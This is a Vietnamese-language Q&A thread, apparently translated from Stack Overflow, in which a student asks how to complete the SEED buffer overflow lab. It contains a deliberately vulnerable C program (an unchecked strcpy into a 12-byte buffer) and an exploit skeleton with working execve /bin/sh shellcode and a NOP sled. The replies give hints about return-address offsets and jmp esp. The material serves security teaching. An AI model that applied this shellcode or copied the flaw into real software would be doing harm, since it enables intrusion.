2012-03-12 36 views
11

Tôi đang làm việc trên một dự án mà trong đó tôi phải viết một chương trình C để khai thác lỗ hổng của một chương trình cụ thể.Khai thác một BufferOverflow

Dưới đây là chương trình C dễ bị tổn thương:

#include <stdlib.h> 
#include <stdio.h> 

int bof(char *str) 
{ 
    char buffer[12]; 
    strcpy(buffer, str); 
    return 1; 
} 

int main(int argc, char **argv) 
{ 
    char str[517]; 
    FILE *badfile; 
    badfile = fopen("badfile", "r"); 
    fread(str, sizeof(char), 517, badfile); 
    bof(str); 
    printf("Returned Properly\n"); 
    return 1; 
} 

Và đây là mã cho khai thác:

#include <stdlib.h> 
#include <stdio.h> 
#include <string.h> 
char shellcode[]= 
"\x31\xc0" /* xorl %eax,%eax */ 
"\x50"  /* pushl %eax  */ 
"\x68""//sh"/* pushl $0x68732f2f */ 
"\x68""/bin"/* pushl $0x6e69622f */ 
"\x89\xe3" /* movl %esp,%ebx */ 
"\x50"  /* pushl %eax  */ 
"\x53"  /* pushl %ebx  */ 
"\x89\xe1" /* movl %esp,%ecx */ 
"\x99"  /* cdql    */ 
"\xb0\x0b" /* movb $0x0b,%al */ 
"\xcd\x80" /* int $0x80  */ 
; 

void main(int argc, char **argv) 
{ 
    char buffer[517]; 
    FILE *badfile; 

    /* Initialize buffer with 0x90 (NOP instruction) */ 
    memset(&buffer, 0x90, 517); 

    /* Fill the buffer with appropriate contents here */ 

    /* Save the contents to the file "badfile" */ 
    badfile = fopen("./badfile", "w"); 
    fwrite(buffer, 517, 1, badfile); 
    fclose(badfile); 
} 

Vì vậy, tôi cần phải điền bộ đệm có nội dung thích hợp trước khi lưu vào "badfile ". Tôi đã đọc rất nhiều về tràn bộ đệm và tôi đoán tôi cần phải sửa đổi địa chỉ trả về của chương trình dễ bị tấn công. Nhưng tôi thực sự không biết làm thế nào tôi phải làm điều đó. Trước tiên, tôi sẽ tìm thấy địa chỉ trả lại ban đầu hoặc có điều gì khác mà tôi có thể làm không? Ngoài ra, bất kỳ ý tưởng/đề xuất nào về cách tôi phải triển khai bộ đệm?

+1

Chỉ cần nghĩ rằng tôi muốn đăng liên kết tới [dự án] (http://www.cis.syr.edu/~wedu/seed/Labs/Vulnerability/Buffer_Overflow/). – Mehrdad

+1

Bạn cần tìm ra độ lệch của bộ đệm sẽ kết thúc ghi đè con trỏ trả về, sau đó điều chỉnh giá trị tại điểm bù đó để trỏ đến lệnh sẽ kết thúc phần còn lại của bộ đệm (như 'jmp esp'). –

+2

Nếu dự án dành cho [trường] (http://meta.stackexchange.com/q/10811/133817), hãy đề cập một cách rõ ràng. Các câu hỏi về SO nên được hướng trực tiếp đến mã của riêng bạn hơn là câu hỏi này (xem liên kết để biết chi tiết); nếu bạn thậm chí không chắc chắn nơi để bắt đầu, nó sẽ là tốt hơn để hỏi giáo viên hoặc TA của bạn. Đó là điều họ nên có trong lớp học, hoặc trong tài liệu của bạn. – outis

Trả lời

1

Tôi khuyên bạn nên đọc các trang trên Metasploit Unleashed, bắt đầu bằng this one. Bạn có thể đi qua các mô-đun ruby ​​liên quan, để xem những gì đang thực sự xảy ra, và cổng đến C. Trong khi không tầm thường, nó thể hiện các phương pháp cần thiết.

Cũng như những người khác đã đề xuất, sử dụng trình gỡ lỗi là điều quan trọng để tìm hiểu điều gì đang xảy ra. Nhận được một phong nha, chẳng hạn như cgdb, ddd, pyclewn hoặc gdb-mode, sẽ làm cho cuộc sống dễ dàng hơn nhiều.